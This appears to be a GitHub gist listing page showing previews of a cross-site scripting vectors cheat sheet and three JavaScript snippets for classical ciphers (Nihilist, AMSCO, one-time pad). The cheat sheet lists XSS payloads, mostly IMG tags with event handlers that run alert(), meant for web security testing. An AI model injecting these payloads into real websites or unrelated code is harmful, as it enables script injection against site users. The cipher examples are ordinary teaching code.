Skip to content

Instantly share code, notes, and snippets.

@ebrandel
ebrandel / xss_vectors.txt
Created April 27, 2018 00:06 — forked from kurobeats/xss_vectors.txt
XSS Vectors Cheat Sheet
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
@ebrandel
ebrandel / nihilist.js
Last active October 14, 2016 21:13
Nihlist Cipher Example
var letters = "ABCDEFGHIKLMNOPQRSTUVWXYZ";
// encrypt and decrypt this plain text
var plainText = "No Its THE code breaker No more secrets";
// remove spaces
var compressedText = plainText.replace(/\s+/g, "").toLocaleUpperCase();
var decryptedText = "";
// The key needs to be repeated until it's the same length as the text to encrypt
@ebrandel
ebrandel / amsco.js
Last active October 9, 2016 03:41
AMSCO is an incomplete columnar transposition cipher
var _ = require("lodash");
var plainText = "On the other side of the screen it all looks so easy";
var key = "4123";
var cipherText = "";
var cols = [];
_.each(key.split(""), function(k) {
cols.push({
@ebrandel
ebrandel / otp.js
Last active October 5, 2016 02:50
OTP
// JavasScript solution to the NSA's OTP puzzle
// https://www.facebook.com/NSACareers/photos/a.10150165394744358.374663.38534064357/10155202632259358/?type=3&theater
var cipherText = "6097703920902805098792458100127006308920278750110017283152904512008635073921961285410397244195102032905201942802717080593227";
var key = "6981642705701301086201207791115091207421138236919216132358913111926129022415841781360483274671901231854407951401635567442416";
var message = "";
// offset this so that letters.charAt(1) returns A and letters.charAt(26) returns Z
var letters = " abcdefghijklmnopqrstuvwxyz";
// Doing the second step here: https://en.wikipedia.org/wiki/One-time_pad#Example